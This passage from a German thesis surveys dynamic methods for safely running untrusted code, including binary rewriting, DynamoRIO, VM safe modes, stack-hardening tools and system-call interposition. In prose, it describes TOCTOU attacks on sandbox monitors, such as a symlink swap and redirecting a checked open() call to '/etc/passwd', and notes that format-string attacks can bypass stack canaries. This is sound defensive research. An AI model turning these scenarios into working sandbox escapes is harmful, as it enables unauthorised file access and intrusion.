vertrauenswürdiger Programme forciert, in einem anderen Prozess befinden, kann beliebige Speichermanipulation im überwachten Prozess erfolgen. Dies verändert zwar möglicherweise den internen Ablauf des zu analysierenden Prozesses, ändert aber nichts an der Tatsache, dass bei jedem Versuch, einen illegalen Systemruf zu versuchen, dieser sofort abgebrochen würde. Befindet sich der Mechanismus jedoch im selben Adressraum, muss unbedingt darauf geachtet werden, dass dieser Bereich nicht von böswilligen Programmen überschrieben wird, um den Schutz zu umgehen.

5.7. Garantie für die Umgebung des laufenden Prozesses

Dieser Punkt war bereits bei der statischen Analyse höchst problematisch, da für die Umgebung des laufenden Prozesses durch die Analyse des Quellcodes keine Aussagen getroffen werden können. Mit Hilfe dynamischer Techniken ist es nun möglich, die Kommunikation der Prozesse mit der Umgebung stark einzuschränken. Das Schicken von Signalen könnte beispielsweise nur an einen konkreten Kindprozess überhaupt erlaubt und nur die Ausführung von unprivilegierten Programmen gestattet werden. Es empfiehlt sich eventuell, sämtliche Komponenten der Umgebung, die mit dem Prozess kommunizieren, ebenfalls der dynamischen Analyse zu unterziehen, schon allein, um sie gegen potenzielle Angriffe zu schützen.

Ein Problem, welches in vielen Implementationen vernachlässigt wurde, ist das Auftreten von *Race-Conditions*, typischerweise der Kategorie TOCTOU (*time of check/time of use*). Garfinkel macht in [38] sehr deutlich, wie scheinbar hochsichere Lösungen durch diese Kategorie von Angriffen einfach ausgetrickst werden können. Um einen kleinen Eindruck über die Problematik zu bekommen, seien hier einige seiner Beispiele genannt.

Angenommen, Thread A in Prozess B tätigt einen Sytemruf

```
open("../test/mytest.dat")
```

Dieser Systemruf wird von der beobachtenden Komponente zunächst abgefangen und Thread A gestoppt. Der ausführende Prozess befinde sich zur Zeit im Verzeichnis „/home/foo/bar“. Die dynamische Überprüfung findet heraus, dass „/home/foo/test/mytest.dat“ von B geöffnet werden darf und gestattet den Zugriff. Erst daraufhin wird der Systemruf tatsächlich zum Betriebssystem abgesetzt. In dem Zeitfenster zwischen tatsächlicher Auswertung im Betriebssystem und Gestattung in der Überwachungskomponente könnte aber eine Menge passiert sein:

- Ein anderer Prozess C löscht test und legt einen symbolischen Link von test auf foo an, der Zugriff wird nun auf /home/foo/bar/mytest.dat, was eventuell gar nicht gestattet worden wäre. Diese Art von Angriff wird als *Symlink*-Attacke bezeichnet.
- Ein anderer Thread D im Prozess B[36] nimmt einen Verzeichniswechsel nach „/home/foo“ vor. Folglich wird nun “/home/test/mytest.dat“ geöffnet.

der beteiligten Prozesse darüber besteht.

36 Nur der Thread, welche den Aufruf tätigte, wurde gestoppt.

- Ein anderer Prozess E, welcher durch Shared Memory Mechanismen Zugriff auf den Speicher von Prozess B Zugriff bekam, ändert den Zeichenpuffer, indem sich „../test/mytest.dat“ befand um in „/etc/passwd“. Das Betriebssystem wird nun versuchen, diese Datei zu öffnen.
- Thread D nimmt den Systemruf `chroot("/tmp")` vor, der Zugriff resultiert nun in „/tmp/home/foo/test/mytest.dat“.

Das Illustrativbeispiel zeigt nur einige mögliche Szenarien, welche in [38] beschrieben wurden. Wird *Untrusted Code* überwacht, der allenfalls einen Programmierfehler enthält, kann diese Art von Angriffen als illusorisch angesehen werden, da sie wirklich haargenau „getimed“ werden müssen. Bei bösartig veränderten Programmen ist diese Art der Ausnutzung von TOCTOU-Fehlern jedoch sehr wahrscheinlich.

Nicht zuletzt muss unbedingt dafür Sorge getragen werden, dass bei Terminierung der Überwachungskomponente die überwachte Applikation ebenfalls abgebrochen wird.

5.8. Fazit

Sieht man sich noch einmal die Erfolgskriterien für statische Analysemethoden an und vergleicht diese mit den dynamischen Kriterien, so fällt auf, dass diese größtenteils übernommen werden konnten oder nur leicht modifiziert werden mussten. Im Anhang ist ein Handout abgedruckt, welches alle Kriterien noch einmal übersichtlich aufführt.

In Analogie zu Abschnitt 4 wird Abschnitt 6 nun überprüfen, inwiefern diese Kriterien von real existierenden Werkzeugen erfüllt werden.

6. Klassifikation und Evaluation dynamischer Ansätze

6.1. Hintergrund

Nachdem Methoden und konkrete Lösungen aus dem Bereich der statischen Analyse vorgestellt wurden, welche im Kontext von C und C++ in Kombination mit hybriden Konzepten zum Erfolg führen könnten, geht dieser Abschnitt systematisch auf weitere hybride und dynamische Lösungen ein, wobei die Evaluation nach den in Abschnitt 5 aufgestellten Kriterien erfolgt.

Leider vernachlässigen viele bestehende Lösungen den einen oder anderen Punkt und sind deshalb für den in dieser Arbeit angestrebten Kontext nicht einsetzbar. Fairerweise muss gesagt werden, dass der angedachte Einsatzzweck vieler Programme auch von den hier gestellten Anforderungen abweicht.

6.2. Quellcodesubstitution

Quellcodesubstitutionsmechanismen arbeiten üblicherweise auf einer hybriden Ebene. Zunächst werden per statischer Analyse potenzielle Sicherheitslücken und Abweichungen von den gestellten Anforderungen festgestellt. Abschnitt 4 beschrieb bereits die Problemfelder, auf Grund derer bei vielen Programmiersprachen statische Methoden nicht allein die Verhaltensspezifikation sicherstellen können. Aus diesem Grund wird bei der Quellcodesubstitution spezieller Prüfcode eingefügt bzw. vom Compiler generiert. Auf diese Weise können nun Speicherbereichsüberschreitungen und die Angabe illegaler Argumente bei Systemrufen verhindert werden. Selbstverständlich wird für diese Art von Konzept der Quellcode benötigt und muss vom eingesetzten Tool verstanden werden (erstes und zweites Kriterium). Die Methode ist weitgehend plattformunabhängig, auch für komplexe Applikationen geeignet und kann sehr wirksam bösartige Speichermanipulationen unterbinden. Die Erfüllung des vierten und sechsten Kriteriums (Bewältigung der auftretenden Komplexität und Beachtung der Umgebung) können jedoch nur bedingt erfüllt werden. Eingefügter Prüfcode müsste sehr viel zusätzlichen Aufwand treiben, um den konkreten Status des Betriebssystems komplett zu erfahren. TOCTOU-Attacken sind kaum zu verhindern, wenn keine komplette Kontrolle über sämtliche Prozesse besteht. Ruft ein Programm jedoch nur sehr wenige Systemrufe auf (rechenintensive Aufgaben), welche in keiner Weise sicherheitskritisch sind oder mit herkömmlichen Betriebssystemmitteln abgesichert werden können, ist dieser Ansatz sehr wohl zur sicheren Ausführung nicht vertrauenswürdiger Programme geeignet. Systembibliotheken müssen dann ebenfalls mit dem Tool behandelt werden.

Konkrete Implementierungen wurden bereits in Abschnitt 4.9. vorgestellt, meistens berücksichtigen sie jedoch nur böswillige Speichermanipulationen und vernachlässigen die Überprüfung von Systemrufen.

6.3. Binärcodemodifikation/Binary-Rewriting

Binärcodemodifikation ist eine mit der Quellcodesubstitution sehr verwandte Art, die sichere Ausführung nicht vertrauenswürdiger Programme zu garantieren. Hierbei wird jedoch nicht der Quellcode mit Prüfanweisungen instrumentiert, sondern auf Binärcodeebene eingegriffen. Vor sicherheitskritischen Maschinencodebefehlen werden andere Maschinencodebefehle eingefügt (oder Ersetzungen vorgenommen), die entscheiden, ob der nachfolgende Befehl gestattet werden darf. Dadurch sind die konkret existierenden Lösungen zumeist auf eine kleine Anzahl von Plattformen limitiert und die Modifikation von Binärcode muss erlaubt sein. Shell-Skripte und andere Programme, die interpretiert werden, können mit diesem Ansatz nicht überwacht werden (allenfalls der Interpreter selbst). Benutzt ein Programm Systembibliotheken, müssen diese selbstverständlich auch instrumentiert werden. Problematischer ist die Verhinderung von bösartigen Speichermanipulationen, da in Binärdateien nicht immer sofort klar ist, welche Speicherbereiche als legal zu bezeichnen sind und welche Semantik der Inhalt der Speicherzellen hat. Insbesondere Angriffe auf den Heap und daraus resultierende Änderungen im Programmablauf sind schwer festzustellen. Solange jedoch darauf geachtet wird, dass ausgeführter Code sich nur an Adressen befindet, an die niemals geschrieben wurde, sollte dies kein Hindernis sein, wenn nur die Sicherheitsrichtlinien eingehalten werden sollen. Da Systemrufe immer durch einen konkreten Maschinenbefehl ausgelöst werden, können an dieser Stelle die Argumente verifiziert werden. Die Kriterien vier und sechs sind mit derselben Begründung wie im vorherigen Unterabschnitt nicht effizient oder gar nicht zu erfüllen. TOCTOU-Probleme können höchstwahrscheinlich von keiner dynamischen Methode, die ausschließlich im *User-Mode* angesiedelt wurde, akkurat gelöst werden. Der Overhead zur Laufzeit ist, wie schon bei der Quellcodesubstitution, erheblich.

SASI ([35]) erlaubt die Definition eines Automaten, welcher darüber entscheidet, ob der nachfolgende Befehl noch sicher ausgeführt werden kann und welcher in Form eines generierten Maschinenprogrammes vor jede kritische Anweisung eingefügt wird. Dabei können Transitionen innerhalb des Automatengraphs teilweise schon vor der Ausführung ausgewertet werden, so dass eine automatische Zustandsreduktion erfolgen kann. SASI unterstützt nur Maschinencode der Intel-Architektur. Die Syntax des Tools ist relativ unintuitiv und wird von den Entwicklern selbst als nicht praktikabel eingestuft.

Software Based Fault Isolation ([130]) basiert ebenfalls auf dem Prinzip der Binärcodemodifikation. Hier werden nicht vertrauenswürdige Programmteile in einen getrennten Adressbereich geladen. Sämtliche Maschinencodebefehle, die auf Speicher zugreifen, werden so manipuliert, dass sie nicht aus diesem Speicherbereich herauskommen. Auf diese Weise bleibt der Rest des Systems vor Manipulationen geschützt, solange keine Systemrufe getätigt werden.

6.4. Maschinencodeinterpreter

Binärcodemodifikation ist ein mächtiges Konzept, wie in Abschnitt 5 beschrieben jedoch nicht in jedem Fall wünschenswert (insbesondere bei Bibliotheken). Möchte man dennoch die Grundidee beibehalten, Maschinencode mit zusätzlichen Prüfanweisungen zu versehen, um

sicheres Ausführen von *Untrusted Code* zu ermöglichen, kommen Maschinencodeinterpreter zum Einsatz. Diese arbeiten wie ein virtueller Prozessor und sind typischerweise im selben Adressraum angesiedelt wie der zu überwachende Prozess. Um nicht jeden Maschinenbefehl mehrmals zu evaluieren, werden Programmstücke ohne Verzweigungsanweisungen (mit zusätzlich eingefügten Prüfcode) in einem Cache gehalten, dessen Inhalt dem realen Prozessor übergeben wird. Die Vorteile sowie Einschränkungen eines Maschinencodeinterpreters gestalten sich ansonsten analog zu denen im vorherigen Unterabschnitt.

Strata [110] ist eine konkrete Lösung für die Plattformen SPARC/Solaris, x86/Linux und MIPS/Irix. Der Overhead bei der Ausführung liegt bei etwa 30 Prozent. Strata ist so ausgelegt, dass der Interpreter sehr einfach auf andere Plattformen portiert werden und für unterschiedlichste Zwecke (u. a. Codeoptimierung/Abfangen von Systemrufen und Ressourcenbeschränkung) genutzt werden kann. Die derzeit existierenden sicherheitskritischen Anwendungen von Strata sind allerdings noch in einem frühen Stadium; Multitasking ist momentan noch nicht unterstützt.

DynamoRIO [58] scheint eine in der Entwicklung fortgeschrittenere Lösung zu sein, die mit Intel-32 Code auf Linux und Windows umzugehen vermag. DynamoRIO erlaubt der Applikation das Modifizieren von beliebigen Speicherbereichen auf dem Heap und Stack Segment mit Ausnahme der Teile, in denen sensitive Daten des Interpreters selbst enthalten sind. Das Framework garantiert, dass die Ausführung nur in Speicherbereichen geschieht, die bereits vor dem Start des Programms mit Maschinencode initialisiert wurden. Auf diese Weise wird eingeschleuster Code nie ausgeführt. Programme, welche zur Laufzeit Code erzeugen, um diesen dann auszuführen[37], lösen deswegen leider falschen Alarm aus. Durch Analyse der Binärdateien wird bei sämtlichen Verzweigungsanweisungen ermittelt, ob sie auch im normalen Programmfluss ein legitimes Sprungziel darstellen. Rücksprungbefehle müssen beispielsweise auf eine Adresse nach einer Call-Anweisung verzweigen. Befehle zum Aufruf von Unterfunktionen können nur zu wohl definierten Eintrittspunkten von Funktionen springen, welche von der Applikation auch genutzt werden dürfen. Je mehr Informationen die Binärdatei noch aufweist (z. B. Debugging- und Profiling-Informationen), desto feinmaschiger erfolgt die Überprüfung.

Ist zu der Binärdatei zusätzlich der C Quellcode verfügbar, kann mittels statischer Analyse ein noch wesentlich strikteres Ausführungsmodell für die zu überwachende Applikation definiert werden. Zunächst werden sämtliche Zuweisungen an Funktionszeiger im Quellcode ausgewertet. Eventuell ergibt sich ein abgeschlossene Menge von möglichen Sprungzielen. Darauf aufbauend können nun bei entsprechenden Sprungbefehlen im Machinencode auch nur noch diese Funktionen angesprungen werden. Durch den Aufbau von möglichen Aufruffolgen[38] wird die Menge der gültigen Zieladressen bei Rücksprungbefehlen stark eingegrenzt. Funktionen aus eingebundenen Bibliotheken können nur benutzt werden, wenn sie explizit im Quellcode auftauchen.

DynamoRIO schützt sich durch weitere Mechanismen wie *System-Call-Interposition* (dazu später mehr) davor, auf keinen Fall durch böswilligen Code manipuliert zu werden. Die Performance ist bei extrem ungünstigen Applikationen allerdings sehr niedrig: Einbußen bis zu 760 Prozent unter Windows waren zu beobachten.

37 Dies trifft etwa für JIT-Compiler, X-Server und Objective C/Lisp-Compiler zu.

38 Die Konstruktion wird bei diesem Ansatz kontextfrei gemacht, so dass einige Aufrufreihenfolgen in der Realität gar nicht auftreten können.

Das in Abschnitt 4.9. bereits vorgestellte Werkzeug Valgrind ist ebenfalls dieser Kategorie zuzuordnen. Bis jetzt existieren jedoch nur Skins (Valgrind Plugins) zur Verhinderung von böswilliger Speichermanipulation und *Race-Conditions*. Ein weiteres Skin könnte jedoch auch Systemrufe überprüfen.

6.5. Intrusion-Detection-Systeme

Intrusion-Detection-Systeme haben einen anderen Fokus als diese Arbeit. Anstatt zu agieren, bevor ein Angriff erfolgt ist, protokollieren sie nur, dass eine Attacke stattfand. Prinzipiell gibt es drei verschiedene Arten von *Intrusion-Detection*.

Anomaly-Detection vergleicht den normalen Systemzustand mit dem Ist-Zustand und schlägt bei verdächtigen Abweichungen Alarm. Ist der normale Ablauf einer Applikation bekannt (zum Beispiel auf Basis von Quellcodeanalyse ermittelt worden), könnte dieser Ablauf zur Laufzeit des Prozesses überprüft und bei devianten Verhalten abgebrochen werden. Dieser Ansatz wird beispielsweise von [129], [137] und [59] verfolgt.

Misuse-Detection sammelt bekannte Angriffsmuster und vergleicht das aktuelle Geschehen mit diesen Daten. Durch geschickte Variation des Angriffsmusters können diese Mechanismen eventuell umgangen werden ([128]).

Specification-Detection-Tools können, wie der Name schon sagt, durch eine individuelle *Policy* konfiguriert und noch am Wahrscheinlichsten für die sichere Ausführung nicht vertrauenswürdiger Programme benutzt werden. Mit [24] sei ein Vertreter dieser Gattung genannt.

Firewalls werden häufig zu den *Intrusion-Detection*-Systemen gezählt, da sie eine Klasse von netzwerkbasierten Angriffen auf Applikationen und Betriebssystem von außen als auch von innen erkennen, protokollieren und verhindern können.

Da *Intrusion-Detection*-Systeme in der Regel nicht davon ausgehen, dass potenziell feindlicher Code bereits vom Nutzer ausgeführt wird, sondern die Applikationen des Nutzers angegriffen werden (lokal oder aber von einem fremden Rechner aus), helfen sie nur sehr begrenzt bei der sicheren Ausführung nicht vertrauenswürdiger Programme und werden hier nicht weiter besprochen.

6.6. Virtuelle Maschinen/Safe Languages

Wird nicht vertrauenswürdiger Programmcode in einer virtuellen Maschine[39] ausgeführt, existieren zunächst zwei Möglichkeiten, die sichere Ausführung zu garantieren. Entweder werden die Aktionen der virtuellen Maschine überwacht, oder die virtuelle Maschine verfügt über einen eigenen Mechanismus, Sicherheit zu garantieren. Bei Existenz eines solchen Mechanismus erübrigen sich die Kriterien eins bis drei: Das Konzept ist lediglich für diese Sprache anwendbar, dafür aber plattformunabhängig und auch bei real existierenden

39 Virtuelle Maschinen (VMs) unterstützen Sprachen, deren Programme nicht in einem direkt ausführbaren Format vorliegen. Die Java-, .NET-, PHP-, Perl-, Python und Ruby-VMs sind einige Beispiele.

Applikationen wirkungsvoll. Böswillige Speichermanipulation ist bei den meisten virtuellen Maschinen schon durch das Design der unterstützten Sprache ausgeschlossen. Die Bewältigung der auftretenden Komplexität des momentanen Betriebssystemzustandes nach Kriterium vier ist nicht unbedingt erforderlich, wenn die Sprache keinen Zugriff auf kritische Systemrufe gestattet. Da sich virtuelle Maschinen aber typischerweise im *User-Mode* befinden, sind sie leider anfällig für *Race-Conditions* nach Kriterium sechs. Vorsicht ist geboten, wenn die Einbindung von nativen Code gestattet ist. Dieser unterliegt typischerweise nicht mehr der Kontrolle der virtuellen Maschine.

PHP wird bei vielen ISPs eingesetzt, um den Kunden die Möglichkeit zu geben, dynamische Webseiten zu erzeugen. Da aus der Sicht des ISP diese Skripts *Untrusted Code* darstellen, bekam die PHP VM sehr bald einen *Safe-Mode* ([89]). Durch diesen und weitere Mechanismen kann wirkungsvoll der Zugriff auf Ressourcen beschränkt werden[40]. Leider werden immer wieder Mittel und Wege gefunden, diesen Modus zu überlisten, wobei *Race-Conditions* häufig ein Weg zum Erfolg sind (siehe Abschnitt 5.7.).

Aus diesen und anderen Gründen hat sich beispielsweise die Python Community entschlossen, den *Safe-Mode* ihrer virtuellen Maschine bis auf weiteres zu deaktivieren ([94]). Ruby hingegen hält weiterhin an seinem vierstufigen Sicherheitsmodell ([104]) fest.

Genau wie Ruby schützt sich Perl insbesondere vor der Manipulation eines Skriptes durch Angreifer. Variablen, die Benutzereingaben enthalten, werden standardmäßig als „verdorben“ (*tainted*) markiert und können deswegen nicht in sensitive Funktionen der jeweiligen Sprache übergeben werden ([87]). Bei Zuweisungen an andere Variablen werden diese ebenfalls verdorben.

Die Java VM ([51]) kann sehr flexibel konfiguriert werden. Je nach der Herkunft einer Klasse greifen verschiedene Sicherheitsrichtlinien, welche in einer *Policy-D*atei spezifiziert werden, die vom Zugriffscontroller gelesen wird. Diese Datei assoziiert verschiedene Befugnisse mit den konkreten Codestücken. Befugnisse können unter anderem sein: *File-Permission, Socket-Permission, Property-Permission, Runtime-Permission, Net-Permission, Security-Permission, Serializable-Permission, Reflect-Permission, Unresolved-Permission* und *All-Permission*. Ein einfaches Beispiel für das Format der Konfigurationsdatei wäre:

```
grant codeBase http://www.hpi.uni-potsdam.de/ {
     permission java.io.FilePermission "/tmp/*", "read, write"
};
```

Die Java Virtual Machine hatte in der Vergangenheit allerdings immer wieder mit Sicherheitslücken zu kämpfen, durch die Angreifer beliebige Rechte erlangen konnten ([52]). All zu sehr sollte man sich also nicht auf diesen Sicherheitsmechanismus verlassen.

Die Microsoft .NET-Plattform kann über einen sehr mächtigen Mechanismus namens *Code-Access-Security* ([72]) den potentiellen Schaden eines Prozesses beschränken. Durch den programmiersprachenunabhängigen *IL-Code* ist .NET noch einen Schritt flexibler als Java. Leider resultiert die Compilierung von C++ Code unter .NET sehr häufig in der Generierung

40 Safe-Modes beschränken in der Regel den Dateisystemzugriff auf ein Minimum, verbieten die Ausführung von Programmen außerhalb definierter Pfade und gestatten nur den Netzwerkzugriff auf bestimmte Domänen.

von *Unmanaged-Code*. Für diese Programmabschnitte kann dann während der Ausführung keine Sicherheitsgarantie übernommen werden. Die *Garbage-Collection* von .NET zerstört zudem die Semantik von vielen C++ Programmen, wie bereits in Abschnitt 4 angedeutet wurde.

Lässt eine Programmiersprache keine bösartige Speichermanipulation zu und beschränkt die Kommunikation mit der Umgebung auf Ein- und Ausgabe, muss allenfalls noch Rechenzeit und Speicherverbrauch dynamisch kontrolliert werden. Man spricht dann auch von einer *safe language*. Eine Untermenge von Modula III ([77]) wurde beispielsweise so entworfen. *Safe languages* können im Allgemeinen nur für rechenintensive, rein ergebnisorientierte Aufgaben eingesetzt werden. Somit verbietet sich der Einsatz in vielen Problemdomänen (problematisch für Kriterium drei).

6.7. Mechanismen zur „Härtung“ von bestehenden Code

Bei den bisherigen Ansätzen wurde speziell Kriterium sechs (Garantie für die Umgebung des laufenden Prozesses) vernachlässigt oder konnte aus technischen Gründen nicht erfüllt werden. Ein häufiges und bereits in Abschnitt 3 detailliertes Vorgehen um an höhere Rechte zu gelangen sind *Delegation-Attacks*. Dabei werden Schwachstellen in Programmen ausgenutzt, welche mit dem *Untrusted Code* kommunizieren. Typische Angriffsmöglichkeiten sind *Buffer-Overflow*-, *Format-String*- und TOCTOU-Bugs (ebenfalls in Abschnitt 3 und 4 vorgestellt).

Dieser Unterabschnitt zeigt einige Mechanismen auf, wie die Umgebung von *Untrusted Code* gegen diese Art von Angriffen gehärtet werden kann. Angriffe werden nicht immer unmöglich aber auf jeden Fall wesentlich schwieriger. Ein perfekter Schutz gegen Speichermanipulation wurde bereits vorgestellt: Quellcodesubstitution.

Securelib ([63]) tauscht die Netzwerkbibliotheken einer Applikation aus, um nur noch Verbindungen zu und mit vertrauenswürdigen Computern zuzulassen.

Format Guard ([26]) ersetzt im Quellcode die Aufrufe von bekannten Funktionen mit variablen Argumenten (`printf, sprintf`, ...) und kann auf diese Weise die Gefahr von *Format-String*-Bugs entschärfen. Allerdings werden Funktionszeiger, der Aufruf von `vsprintf`, sowie die Benutzung von angreifbaren Funktionen in anderen Bibliotheken nicht beachtet. Eine Neucompilation der betroffenen Programme ist in jedem Fall erforderlich.

Stack Guard ([25]) schreibt bei Funktionsaufrufen ein spezielles Wort (*canary*) in die Nähe der Rücksprungadresse und prüft am Ende der Funktion, ob dieses Wort verändert wurde. Es wird davon ausgegangen, dass um die Rücksprungadresse zu überschreiben, auch das *canary* überschrieben werden muss[41]. Dafür benötigt das Programm Quellcodezugriff und erzeugt einen Laufzeitoverhead von ungefähr 15 Prozent.

LibSafe ([11]) tauscht die C Standardbibliothek aus, um bei allen enthaltenen Funktionen eine Speicherbereichsüberprüfung der übergebenen Argumente durchführen zu können.

41 Die ist leider ein Trugschluss, aber trotzdem bei den meisten Angriffen sehr wirkungsvoll. Mit Hilfe von gezielten *Format-String*-Attacken kann jedoch auch exakt nur die Rücksprungadresse überschrieben werden.

LibVerify ([11]) ist eine Bibliothek, die nach dem Start des Prozesses dessen Code so umschreibt, dass für jede Funktion im Text-Segment stattdessen eine generierte, semantisch äquivalente Funktion im Heap-Segment aufruft. Diese Funktion enthält wiederum zusätzliche Anweisungen, um die Rücksprungadresse des Aufrufers zu sichern. Weicht nach der Ausführung der Funktion die Rücksprungadresse vom Original ab, wird der Prozess abgebrochen. Heap-Angriffe sind weiterhin möglich. Sowohl libsafe als auch libverify sind für Linux verfügbar und müssen nicht extra zur Applikation dazugelinkt werden[42]. Die Performance ist mit StackGuard vergleichbar.

StackShield ([116]) ist ein Assembler Preprozessor für Linux, welcher ebenfalls *Stack-Smashing*-Angriffe verhindern kann. Er kopiert die Rücksprungadresse an eine nicht durch Pufferüberläufe erreichbare Stelle (Beginn des Daten-Segments) und vergleicht sie nach Ablauf der Funktion wieder mit dem Original. Zugriffe auf Funktionszeiger, die bösartig überschrieben wurden, fängt StackGuard ebenfalls ab.

StackGhost ([36]) ist eine OpenBSD Kernel-Modifikation, welche die speziellen Hardwareeigenschaften der Sparc Architektur ausnutzt. Jedes Mal, wenn ein Registerinhalt geschrieben oder vom Stack gelesen wird, generiert der Prozessor eine Unterbrechung (Trap). Das Betriebssystem verknüpft den zu schreibenden/zu lesenden Wert (die Rücksprungadresse) transparent mit einem festgelegten Wert mittels `xor`. Hatte ein Angreifer die Rücksprungadresse überschrieben, steht nun höchstwahrscheinlich eine illegale Adresse auf dem Stack und das Programm terminiert, statt bösartigen eingeschleusten Code auszuführen.

ExecShield ([113]), Pax ([81], [113]) und das OpenWall Projekt ([83], [113]) versuchen angreifbare Programme zu härten, indem sie die Ausführung von Code auf dem Stack und auf dem Heap generell verbieten. Dies führt zu einigen Problemen mit verschiedenen Applikationen (z. B. X-Server, JIT-Compiler, *GCC-Trampolincode*[43]), welche zur Laufzeit Befehle generieren und diese dann ausführen, verhindert aber viele existierende Angriffe, wenn auch nicht alle ([30]). Auf der sehr weit verbreiteten x86-Architektur sind alle lesbaren Seiten auch automatisch ausführbar, moderne Architekturen haben diesen Designfehler bereits behoben (*Non-Executable-Bit*). Die benannten Projekte bedienen sich zwei verschiedenen Techniken, um dennoch ihr Ziel zu erreichen:

Pageexec entfernt alle Seiten aus dem TLB (*Translation-Lookaside-Buffer*), welche nicht ausführbar sein sollen. Beim Zugriff auf die Speicherseite entsteht dadurch ein Seitenzugriffsfehler, den das Betriebssystem behandeln muss. An dieser Stelle entscheidet sich, ob es sich um einen echten Page Fault oder um eine nicht ausführbare Seite handelt. Sollen Instruktionen von dieser Seite geladen werden (Ausführung von Code auf dem Stack/Heap), so verwehrt der (modifizierte) Kernel den Zugriff.

Segmexec nutzt die Möglichkeit der Speichersegmentierung auf x86-Prozessoren. Der Speicher wird in zwei Hälften geteilt. In der einen Hälfte liegen Daten, in der anderen Hälfte der Code. Bei einem Ausführungsversuch im Daten-Segment wird analog zur ersten Methode ein Seitenzugriffsfehler generiert.

Pax geht sogar noch einen Schritt weiter und verändert bei jedem Prozessstart zufällig die Startadressen vom Codesegment, Datensegment, *User*- und *Kernel-Stack* sowie die Eintrittspunkte von Bibliotheksfunktionen. Diese Technik heißt auch *Address-Space-Layout-Randomization*. Auf diese Weise fällt es einen Angreifer etwas schwerer, die korrekten

42 libsafe und libverify werden in einer Bibliothek, die zum Laden der *ELF-Binaries* genutzt wird, integriert.

43 GCC-Trampolincode, wird zur Laufzeit auf dem Stack generiert, um eine eingenistete Funktion (*nested function)* aufzurufen, was eine Performancesteigerung im Vergleich zu einem normalen Funktionsruf erwirkt.

Adressen herauszufinden. Ausführbare Segmente werden an Adressen gelegt, die mindestens ein Nullbyte enthalten (*Ascii-Armor-Area*). Da eingeschleuste Zeichenketten durch ein Nullbyte automatisch terminiert sind, wir der Sprung an eine derartige Adresse erschwert, aber nicht unmöglich, wie in Abschnitt 3 erklärt.

ExecShield, Openwall und Pax unterstützten noch eine weitere Anzahl von Programmhärtungsmaßnahmen wie die Abwehr verschieden gearteter *Denial-of-Service*- und *Race-Condition*-Attacken, deren Beschreibung den Fokus dieser Arbeit sprengen würde. Interessierte Leser können mit dem Distributionen Adamantix ([1]) oder Owl ([86]), in der Pax beziehungsweise OpenWall bereits integriert sind, weitere Erfahrungen sammeln.

6.8. SandBoxing/System-Call-Interposition

Da in jedem modernen Betriebssystem der Zugriff auf Ressourcen nur über Systemrufe geschehen kann, genügt es, einzig und allein diese bei der Ausführung eines Prozesses zu beobachten und gegebenenfalls zu verbieten oder zu modifizieren, wenn sie nicht mit den Sicherheitsrichtlinien konform gehen. *Untrusted Code* sollte dabei nur genau die Aktionen gewährleistet bekommen, die er für die Erfüllung seiner Aufgabe unbedingt braucht. Aus diesem Prinzip, in der Literatur häufig *Least-Privilege-Access-Principle* genannt, lässt sich schnell ableiten, wie eine Verhaltensbeschreibung bzw. *Policy* beschaffen sein muss: Lediglich erlaubte Systemrufe mit streng determinierten Parameterbeschränkungen sind zulässig. Dieses Vorgehen entspricht einer *White-List*: Alle anderen Aufrufe werden per se verboten. Aus diesem Grund spricht man bei *System-Call-Interposition*-Tools auch manchmal von einer „Prozess Firewall“.

Lösungen im Bereich *System-Call-Interposition* gehen grundsätzlich ähnlich vor und bestehen aus zwei Teilen: Der *Interposition-Architecture* und der *Policy-Engine* ([39]). Bei jedem getätigten Systemruf, der potentiell gefährlich werden könnte[44] wird der dazugehörige Prozess zunächst angehalten und die beabsichtigte Aktion herausgefunden. Dies ist Aufgabe der *Interposition-Architecture*.

Die *Policy-Engine* überprüft nun, ob der Systemruf in der Liste der erlaubten Systemrufe enthalten und der Parameter im erlaubten Bereich ist. Ist dem nicht so, können verschiedene Aktionen folgen: Entweder wird der Prozess abgebrochen, ein Fehlercode zurückgegeben, ein anderer Systemruf mit eventuell anderen Argumenten ausgelöst oder die gewünschte Funktion simuliert. Die Entscheidung der *Policy-Engine* wird von der *Interposition-Architecture* erzwungen. Startet der Prozess weitere Kindprozesse, können diese auf die gleiche Art und Weise oder mit einer anderen Rechtekonfiguration überwacht werden.

System-Call-Interposition ist der erste vorgestellte Ansatz, der die Kriterien eins bis sechs bei hinreichend komplexen Problemen vollkommen erfüllen kann, wenn er sorgfältig implementiert wurde. Der Ansatz erfordert keine Binärcodemodifikationen, ist zumindest von der Hardwarearchitektur unabhängig und kann verhältnismäßig einfach auf eine große Anzahl von Betriebssystemen portiert werden, da beispielsweise die Semantik der Systemrufe bei vielen Unices identisch ist und größtenteils durch POSIX standardisiert wurde. Böswillige Speichermanipulationen können zwar innerhalb des Adressraumes des zu überwachenden

44 Einfache Systemrufe wie `read` und `write` gehören nicht dazu, da zuvor bereits die Erlangung der betreffenden Filedeskriptoren erlaubt werden muste.

Prozesses auftreten, ändern aber nur den logischen Ablauf der Applikation. Bei der Absetzung von bösartigen Systemrufen wird in jedem Fall eingegriffen. Da nur bei potentiell gefährlichen Systemrufen überhaupt eine Überwachung stattfinden muss und nur ein Bruchteil aller Befehle innerhalb eines Programmes Systemrufe darstellen, ist die Performance derartiger Lösungen meistens kaum von der eines unbehandelten Systems zu unterscheiden. Rechenintensive Programme verhalten sich fast identisch, systemruflastige Prozesse wie beispielsweise *Software-Builds*, die ständig auf neue Dateien zugreifen müssen, laufen allerdings bis zu 40 Prozent langsamer.

Da viele Lösungen teilweise (hybrider Ansatz) oder komplett im Kernel integriert sind, ist die Komplexitätsbeherrschung der Betriebssystemsemantik wie in Kriterium vier gefordert, kein großes Problem, eine umständliche Simulation ist nicht erforderlich.

Die Umgebung eines Prozesses kann ebenfalls sehr einfach überwacht werden. Zusätzlich fällt die Einschränkung der Kommunikationspartner und Kommunikationsweisen durch *System-Call-Interposition* vergleichweise leicht, da die zugehörigen Systemrufe mit ihren Parametern explizit genehmigt werden müssen.

Race-Conditions der Kategorie TOCTOU treten nicht auf, wenn Teile der konkreten Implementation im Kernel dafür Sorge tragen (später mehr dazu). Durch Argumentevaluation kann weiterhin eine Ressourcenbeschränkung erfolgen, wenn nicht bereits durch betriebssystemeigene Mittel eine derartige Einschränkung realisiert wurde.

